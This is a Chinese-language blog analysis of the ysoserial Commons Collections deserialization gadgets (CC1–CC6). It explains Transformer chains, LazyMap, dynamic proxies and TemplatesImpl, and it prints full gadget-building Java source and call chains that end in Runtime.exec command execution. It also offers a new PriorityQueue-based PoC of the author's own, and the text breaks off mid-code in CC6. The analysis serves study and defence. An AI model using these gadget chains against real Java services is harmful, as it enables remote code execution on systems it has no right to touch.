ysoserial分析【一】Apache Commons Collections

0x00 前言#

Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。

0x01 基础知识#

Transformer#

Transfomer是Apache Commons Collections库引入的一个接口,每个具体的Transformer类必须实现Transformer接口,比如我自己定义了一个MyTransformer类:

当一个Transformer通过TranformerMap的decorate方法绑定到Map的key或value上时,如果这个Map的key或value发生了变化,则会调用Transformer的transform方法,MyTransformer的transform方法是return this.name。

测试用例如下:

14行创建了一个MyTransformer,并使之this.name="trans-value"。然后在16-18行创建了一个Map,并在20行通过decorate方法将MyTransformer绑定到Map的value上(第二个参数为绑定到key上的Transformer)。接着在22-23行对Map进行setValue,即对Map的value进行修改。这时就会对value触发已经绑定到Map-Value上的MyTransformer的transform方法。看一下MyTransformer的transform方法,已知其直接返回this.name,由于this.name在14行已经被设置成了"trans-value",故这里直接返回这个字符串,赋值给value。看一下运行结果:

可以看到,value已经被transform方法修改成了this.name。

以上是自己写的一个简单的Transformer,下面看一下Apache-Common-Collections-3.1提供的一些Transformer。

首先是ConstantTransformer,跟上面的MyTransformer类似,transform方法都是返回实例化时的第一个参数。

还有一个是InvokerTransformer类,在其transform()方法中可以通过Java反射机制来进行执行任意代码。

可以看到,有三个内部变量可控。然后看他的transform方法。

可以看到,59-61行通过反射,可以调用任意类的任意方法,通过还会传入任意参数,由于input也可控(即新key/value的值),所以由于所有内部变量可控,这里存在RCE。

还有一个比较有意思的Transformer是ChainedTransformer,可以通过一个Trasnformer[]数组来对一个对象进行链式执行transform()。

利用InvokerTransformer造成命令执行#

首先利用ChainedTransformer类构建一个Transformer链,通过调用多个Transformer类来造成命令执行,比如以下代码:

Copy
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{new Object[]{}, new Object[]{}}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers);

当调用ChainedTransformer.transform()时,会把Transformer[]数组中的所有Transformer一次执行transform()方法,造成命令执行。以上代码相当于这一行代码:

Copy
Runtime.getRuntime().getClass().getMethod("exec",new Class[]{String.class}).invoke(Runtime.getRuntime(),"calc.exe");

Map#

利用Transform来执行命令有时还需要绑定到Map上,这里就讲一下Map。抽象类AbstractMapDecorator是Apache Commons Collections引入的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

TransformedMap#

比如TransformedMap:

Copy
Map tmpmap = TransformedMap.decorate(normalMap, KeyTransformer, ValueTransformer);

可以将不同的Transformer实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法

因此我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时,自动触发chainedtransformer。

比如以下代码

Copy
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{new Object[]{}, new Object[]{}}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map normalMap = new HashMap(); normalMap.put("11", "aa"); Map transformedMap = TransformedMap.decorate(normalMap, null, transformerChain); Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next(); entry.setValue("newValue");

执行时会自动弹出计算器

LazyMap#

除了TransformedMap,还有LazyMap:

Copy
Map tmpmap = LazyMap.decorate(normalMap, TestTransformer);

当调用tmpmap.get(key)的key不存在时,会调用TestTransformer的transform()方法

这些不同的Map类型之间的差异也正是CommonsColletions有那么多gadget的原因之一。

AnnotationInvocationHandler#

关于AnnotationInvocationHandler类,这个类本身是被设计用来处理Java注解的,可以参考 JAVA 注解的基本原理

动态代理#

使用Proxy类实现AOP(面向切面编程)

Copy
Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih) /* ClassLoader loader: 它是类加载器类型,你不用去理睬它,你只需要知道怎么可以获得它就可以了:MyInterface.class.getClassLoader()就可以获取到ClassLoader对象,没错,只要你有一个Class对象就可以获取到ClassLoader对象; Class[] interfaces: 指定newProxyInstance()方法返回的代理类对象要实现哪些接口(可以指定多个接口),也就是代表我们生成的代理类可以调用这些接口中声明的所有方法。 InvocationHandler h: 它是最重要的一个参数!它是一个接口!它的名字叫调用处理器!无论你调用代理对象的什么方法,它都是在调用InvocationHandler的invoke()方法! */

可以参考 Java动态代理InvocationHandler和Proxy学习笔记

0x02 Commons Collections Gadget 分析#

CommonsCollections1#

Copy
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); } public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception { //利用反射机制调用AnnotationInvocationHandler的构造方法,map作为第二个参数赋值给成员变量memberValues。返回AnnotationInvocationHandler实例对象 return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); } public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[ 0 ] = iface;//将所有的iface复制给allInfaces(包括下面三行都是在做这个事情) if ( ifaces.length > 0 ) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } //调用Proxy.newProxyInstanc()来创建动态代理 return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); } public InvocationHandler getObject(final String command) throws Exception { //创建Transformer final String[] execArgs = new String[] { command }; final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); //将transformerChain绑定到LazyMap中,当调用LazyMap.get(key)的key不存在时,会调用transformerChain的Transformer类的transform()方法 final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); //跟进一下这个方法,注意这里传入的第一个参数是lazyMap final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); //创建annotationinvocationhandler类实例,构造函数的第二个参数是上面的代理类实例 final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain//设置transformerChain对象的iTransformers属性为transformers,相当与重新赋值,也就是arm with actual transformer chain return handler;//返回对象实例,用于序列化作为poc }

首先是创建利用反射RCE的ChainedTransformer对象,然后将之通过LazyMap.decorate()绑定到LazyMap上,当调用LazyMap.get(key)的key不存在时会调用Transformer的transform()方法。

然后开始创建动态代理

Copy
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

createMemoitizedProxy()定义如下

Copy
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); } public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception { //利用反射机制调用AnnotationInvocationHandler的构造方法,map作为第二个参数赋值给成员变量memberValues。返回AnnotationInvocationHandler实例对象 return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); } public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[ 0 ] = iface;//将所有的iface复制给allInfaces(包括下面三行都是在做这个事情) if ( ifaces.length > 0 ) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } //调用Proxy.newProxyInstanc()来创建动态代理 return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); }

可以看到底层是在createProxy()中调用了Proxy.newProxyInstance()来创建动态代理,关于动态代理的原理请看文章的最后一部分,这里就不做解释了。这里创建动态代理的第3个参数是AnnotationInvocationHandler实例,这个实例的memberValues变量的值就是我们上面创建的LazyMap。

这里使用动态代理的意义在于,只要调用了LazyMap的任意方法,都会直接去调用AnnotationInvocationHandler类的invoke()方法。

至此动态代理已经完成了,创建了代理类实例mapProxy。由于动态代理的特性,当我们调用mapProxy的任何方法时会自动调度给InvocationHandler实现类的invoke()方法,在这里也就是AnnotationInvocationHandler类的invoke()方法。看一下源码

在52行,this.memberValues正是我们上面创建的LazyMap实例,结合LazyMap的特性,只要var4这个键是不存在的,那么就会调用绑定到LazyMap上的Transformer类的transform()方法,也就是我们通过Java反射进行RCE的ChainedTransformer。

继续往下看

Copy
//创建annotationinvocationhandler类实例,构造函数的第二个参数是上面的代理类实例 final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain//设置transformerChain对象的iTransformers属性为transformers,相当与重新赋值,也就是arm with actual transformer chain return handler;//返回对象实例,用于序列化作为poc

createMemoizedInvocationHandler()就是简单的创建AnnotationInvocationHandler类的实例,并将参数赋值给类的成员变量memberValues。这个实例会被用来序列化作为payload,在触发反序列化漏洞时,会调用AnnotationInvocationHandler类的readObject()方法,而这个实例的memberValues参数的值就是我们上面创建的代理类。看一下readObject()的源码

在283行,调用了this.memberValues的entrySet()方法。由于this.memberValues是我们的代理类,因此并不会真正的进入entrySet()方法,而是进入我们创建动态代理时绑定的AnnotationInvocationHandler的invoke()方法。回顾一下

var4的值是var2.getName(),也就是调用的方法名,即'entrySet'。不满足45行之后的几个if判断,直接进入52行,由于this.memberValues是我们创建的空LazyMap,自然不存在名为entrySet的键,因此进入LazyMap绑定的Transformer类的transform()方法中,然后就是...你懂的了。到这里逻辑基本就可以捋顺了,从漏洞触发点开始,调用链大概是:

Copy
ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> this.memberValues.entrySet() = mapProxy.entrySet() -> AnnotationInvocationHandler.invoke() -> this.memberValues.get(xx) = LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> InvokerTransfomer.transform() -> RCE

要注意,这里的两个this.memberValues是不一样的,一个是反序列化的对象的属性,一个是代理的handler对象的属性。

继续把剩下的代码看完。下面一行,通过Reflections.setFieldValue来将我们上面构造的Transformer RCE链赋值给transformerChain的iTransformers属性的值,最后return handler用于序列化,生成payload。尽管这里到最后才把RCE链赋值给transformerChain,实际上也是可以的,LazyMap.decorate()的那个transformerChain也会更新。其实这里完全可以在程序最开始就赋值给transformerChain,经过我的调试,似乎不会影响结果。

CommonsCollections2#

直接看一下代码:

Copy
public Queue<Object> getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command);//创建TemplatesImpl实例,将反射调用恶意命令的语句插入到一个通过javassist实例的构造方法后,然后把这个实例编译成字节码,赋值给_bytecodes属性。createTemplatesImpl()函数看下方源码. // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));//创建优先队列类,绑定Comparator为上面的transformer实例,当插入元素时,会自动调用transformer.compare()进行排序 // stub data for replacement later queue.add(1); queue.add(1); // switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");//设置InvokerTransformer在触发transform()时,调用元素的newTransformer方法。 // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates;//将上面的TemplatesImpl实例add给queue queueArray[1] = 1; return queue; } public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); } return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )//构造StubTransletPayload类,将其字节码赋值给tplClass(也就是TemplatesImpl)对象的_bytecodes属性 throws Exception { final T templates = tplClass.newInstance();//TemplatesImpl实例 // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));//添加StubTransletPayload类到ClassPool中 pool.insertClassPath(new ClassClassPath(abstTranslet));//添加AbstractTranslet类 final CtClass clazz = pool.get(StubTransletPayload.class.getName());//加载StubTransletPayload类 // run command in static initializer String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd);//创建一个static constructor,将反射调用系统命令的恶意语句利用insertAfter()插入到这个constructor最后,在返回指令之前被执行。 clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC);//设置AbstractTranslet为StubTransletPayload的父类 final byte[] classBytes = clazz.toBytecode();//StubTransletPayload的字节码 // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class)// }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; }

首先第一行

Copy
final Object templates = Gadgets.createTemplatesImpl(command);

创建了一个TemplatesImpl实例,利用javassist将我们反射执行系统命令的语句编译成字节码赋值给实例的_bytecodes属性。

Copy
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )//构造StubTransletPayload类,将其字节码赋值给tplClass(也就是TemplatesImpl)对象的_bytecodes属性 throws Exception { final T templates = tplClass.newInstance();//TemplatesImpl实例 ... final CtClass clazz = pool.get(StubTransletPayload.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd);//创建一个static constructor,将反射调用系统命令的恶意语句利用insertAfter()插入到这个constructor最后,在返回指令之前被执行。 ... final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class)// }); ... return templates; }

这其实就是JDK 7u21 gadget中执行命令的方式,在反序列化时,调用TemplatesImpl的defineTransletClasses()方法,从而将_bytecodes中的内容进行实例化,造成RCE。看一下这个方法:

而这个_class会在getTransletInstance()方法中进行实例化:

由于以上两个都是私有方法,无法通过InvokerTransformer直接调用,因此需要找到调用getTransletInstance()的地方。比如newTransformer()方法(也就是本gadget利用的方法):

getOutputProperties()也可以利用,因为调用了newTransformer()方法。

Copy
public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }

已知调用这些方法可以触发命令执行,可是我们如何在反序列化时调用TemplatesImpl的这些方法呢?本POC中巧妙地利用了PriorityQueue,废话不多说,先往下看。

Copy
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); queue.add(1); queue.add(1);

在创建完TemplatesImpl实例之后,紧接着就创建了InvokerTransformer和PriorityQueue实例,第二个参数是new TransformingComparator(transform)。这个参数用于将PriorityQueue中的元素进行排序,也就是调用TransformingComparator.compare()进行排序,看一下compare()方法

Copy
public int compare(I obj1, I obj2) { O value1 = this.transformer.transform(obj1); O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }

这里的this.transformer就是构造函数传的参数,在本例中也就是InvokerTransformer实例,可以看到compare()内部会调用InvokerTransformer.transform()方法,而InvokerTransformer已经实例化过了。因此总的来说,这里会调用InvokerTransformer.transform()对queue中的元素进行比较,由于这里的InvokerTransformer实例的iMethodName属性是toString,因此,这里会调用queue中每个元素的toString方法。接着往下看

Copy
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");//TemplatesImpl类有newTransformer()方法 final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = 1; return queue;

首先利用反射对transformer的iMethodName由之前的toString赋值为newTransformer。也就是说,之后再对queue中的元素进行比较时,底层会调用每个元素的newTransfomer()方法。而7u21 gadget中正是TemplatesImpl.newTransformer()方法对_bytecodes属性的字节码进行了实例化,是不是悟到了什么..

然后又利用反射,将queue的第一个元素重新赋值为templates实例,也就是本POC最开始的TemplatesImpl实例。最后返回queue,进行序列化。有个小细节,PriorityQueue.writeObject()方法中同样会对queue中的元素也进行序列化,反序列化也是如此。

到这里其实思路已经很清晰了,利用PriorityQueue的对元素的compare,调用到InvokerTransformer,然后对其中的元素执行newTransformer()方法,而我们可以控制元素为含有执行恶意代码的类的_bytecodes属性的TemplatesImpl实例,从而执行TemplatesImpl.newTransformer()对执行恶意代码的类进行实例化,从而造成RCE。调用链大概是:

Copy
ObjectInputStream.readObject() -> PriorityQueue.readObject() -> 【TemplatesImpl.readObject()】 -> PriorityQueue.heapify() -> TransformingComparator.compare() -> InvokerTransformer.transform() -> TemplatesImpl.newTransformer() -> 对TemplatesImpl._bytecodes属性进行实例化 -> RCE

疑问#

1.为什么要用优先队列来实现?为什么不直接用InvokerTransformer结合TemplatesImpl来实现,只不过需要先触发InvokerTransformer.transform()而已?
答:这只是一种方法而已,并不是唯一一种。目前来说,我感觉ysoserial中的几个Commons Collections中的主要点就是如何从反序列化的readObject()到反射执行代码(比如InvokerTransfomer)的过程,主要是这个中间的方法。比如1中利用的AnnotaionInvocationHandler结合动态代理、2中利用PriorityQueue。

2.为什么要用InvokerTransformer结合TemplatesImpl而不是直接通过PriorityQueue调用ChainedTransformer来直接执行系统命令?
答:这样也是可以的,按照ysoserial的这种定义,这也算是一个新gadget哈哈,poc如下

Copy
public Queue<Object> getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformerChain)); queue.add(1); queue.add(1); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); return queue; }

3.为什么不用InvokerTransformer直接执行对Runtime类来反射执行exec()方法?
答:这样首先要把Runtime.getRuntime() add到queue队列中。可是在序列化时需要对queue的元素同样进行序列化,而Runtime没有实现序列化接口,因此会报错。

CommonsCollections3#

本gadget在ysoserial中并没有调用栈,取而代之的只有一行

也就是说这条链与CommonsCollections1的区别就是,在CommonsCollections1中使用了ChainedTransformer结合InvokerTransformer类来构建链式反射执行命令的语句,而这里使用ChainedTransformer结合InstantiateTransformer类来进行替代,最终执行的链则是结合了7u21中的TemplatesImpl。

回顾CommonsCollections1,其中利用动态代理的机制,最终触发LazyMap绑定的ChainedTransformer实例,造成命令执行。而在这里由于唯一的区别就是最终执行命令的方式不太一样,因此我们只要分析反序列化之后调用的Transformer类即可,至于如何到达Transformer类,与CommonsCollections1一模一样,参考CommonsCollections1即可。

看一下构造exp的前面部分代码

Copy
public Object getObject(final String command) throws Exception { Object templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )}; ... }

与CommonsCollections2类似,先创建一个TemplatesImpl实例,其_bytecodes属性中包含能执行恶意语句的类的字节码。然后在ChainedTransformer中有两个Transformer,第一个是ConstantTransformer,直接返回TrAXFilter.class传递给下一个Transformer,也就是InstantiateTransformer。InstantiateTransformer的构造方法传入了两个参数,跟进一下。

Copy
public InstantiateTransformer(Class[] paramTypes, Object[] args) { this.iParamTypes = paramTypes; this.iArgs = args; }

看一下transform()方法

Copy
public Object transform(Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); } } catch (NoSuchMethodException var6) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); } catch (InstantiationException var7) { throw new FunctorException("InstantiateTransformer: InstantiationException", var7); } catch (IllegalAccessException var8) { throw new FunctorException("InstantiateTransformer: Constructor must be public", var8); } catch (InvocationTargetException var9) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9); } }

这里直接获取了Object input的构造方法,然后根据这个构造方法创建了一个input类的实例。在本例中input正是上面的ConstantTransformer传下来的,也就是TrAXFilter.class。因此为了方便理解,这里的大概逻辑是这样的

Copy
Constructor con = ((Class)TrAXFilter.class).getConstructor(Templates.class); return con.newInstance(templatesImpl);

也就是将TemplatesImpl实例作为参数,传入TrAXFilter类的构造方法中。看一下其构造方法

可以看到,其中直接调用了构造参数的newTransformer()方法!是不是很眼熟,没错,这就是CommonsCollections2中通过InvokerTransformer调用的TemplatesImpl类的那个方法。因此到这里整个逻辑就通了。

调用链是结合了CommonsCollections1与7u21,大概如下

Copy
ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> this.memberValues.entrySet() = mapProxy.entrySet() -> AnnotationInvocationHandler.invoke() -> this.memberValues.get(xx) = LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() -> TemplatesImpl.newTransformer() -> _bytecodes实例化 -> RCE

CommonsCollections4#

与CommonsCollections3一样,这个gadget也没写调用链,只说了这条链是将CommonsCollections2中InvokerTransformer换成了InstantiateTransformer,也就是CommonsCollections3中的那个类,利用方法基本一致。

看一下源码

Copy
public Queue<Object> getObject(final String command) throws Exception { Object templates = Gadgets.createTemplatesImpl(command); ConstantTransformer constant = new ConstantTransformer(String.class); // mock method name until armed Class[] paramTypes = new Class[] { String.class }; Object[] args = new Object[] { "foo" }; InstantiateTransformer instantiate = new InstantiateTransformer( paramTypes, args); // grab defensively copied arrays paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); // create queue with numbers PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));//创建优先队列 queue.add(1); queue.add(1); // swap in values to arm Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); paramTypes[0] = Templates.class; args[0] = templates; return queue; }

其实这个就是将CommonCollections2中TransformingComparator的构造函数参数由InvokerTransformer换成了ChainedTransfomer。在CommonsCollections2中,此处的调用链是

Copy
TransformingComparator.compare() -> InvokerTransformer.transform() -> TemplatesImpl.newTransformer() -> 对TemplatesImpl._bytecodes属性进行实例化

而这里的链则是换掉了后面这部分,取而代之的是与CommonsCollections3中类似的InstantiateTransformer。此时的链是

Copy
TransformingComparator.compare() -> ChainedTransformer.transform() -> InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() -> TemplatesImpl.newTransformer() -> _bytecodes实例化 -> RCE

CommonsCollections5#

回顾一下CommonsCollections1中,先利用动态代理调用AnnotationInvocationHandler.invoke(),然后在其中再调用LazyMap.get(not_exist_key),导致触发LazyMap绑定的Transformer。想想这个链能不能简单一点,为什么不找一个readObject()中就有对成员变量调用get(xxx)方法的类?CommonsCollections5正是基于这个思路,因此这个gadget与1的区别仅在于从反序列化到ChainedTransformer.transform()之间,之后的链是一样的。

看一下源码

Copy
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry);//设置BadAttributeValueExpException实例的val属性为TiedMapEntry实例 Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val; }

可以发现,LazyMap实例化之前的几行都跟CommonsCollection1一模一样。接着往下看剩下几行

Copy
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry);//设置BadAttributeValueExpException实例的val属性为TiedMapEntry实例 Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return val;

首先将LazyMap实例和foo字符串传入TiedMapEntry构造函数构建实例,然后把这个实例通过反射赋值给BadAttributeValueExpException实例的val属性,最后返回BadAttributeValueExpException实例用于序列化。我们倒着看,先看一下BadAttributeValueExpException的readObject()方法:

Copy
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }

可以看到,在if语句的第三个语句块中,调用了val属性的toString()方法,而这个val属性就是我们的TiedMapEntry实例。看一下TiedMapEntry这个类,以及其toString()方法:

Copy
public class TiedMapEntry implements Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L; private final Map map; private final Object key; public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); } ... }

再回顾构造gadget时是如何实例化TiedMapEntry类的:

Copy
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

可以看到,LazyMap实例赋值给了this.map,字符串foo赋值给了this.key。然后在调用TiedMapEntry.toString()时间接调用了TiedMapEntry.getValue(),其中调用了this.map.get(this.key)。在这条gadget中也就是

Copy
LazyMap.get("foo");

由于LazyMap实例中并不存在foo这个键,因此触发了绑定在LazyMap上的Transformer类的transform()。

调用链如下

Copy
BadAttributeValueExpException.readObject() -> TiedMapEntry.toString() -> TiedMapEntry.getValue() -> LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> RCE

CommonsCollections6#

这个gadget与5差不多,都是利用了TiedMapEntry中的方法来触发LazyMap绑定的Transformer,不过从反序列化到TiedMapEntry的过程不太一样,先看一下源码

Copy
public Serializable getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); HashSet map = new HashSet(1); map.add("foo");//添加一个键 Field f = null; try { f = HashSet.class.getDeclaredField("map");//获取map属性 } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map);//获取map实例的map属性。【也就是"foo"->】键值对 Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl);//获取map属性的table属性,里面包含很多Node Object node = array[0]; if(node == 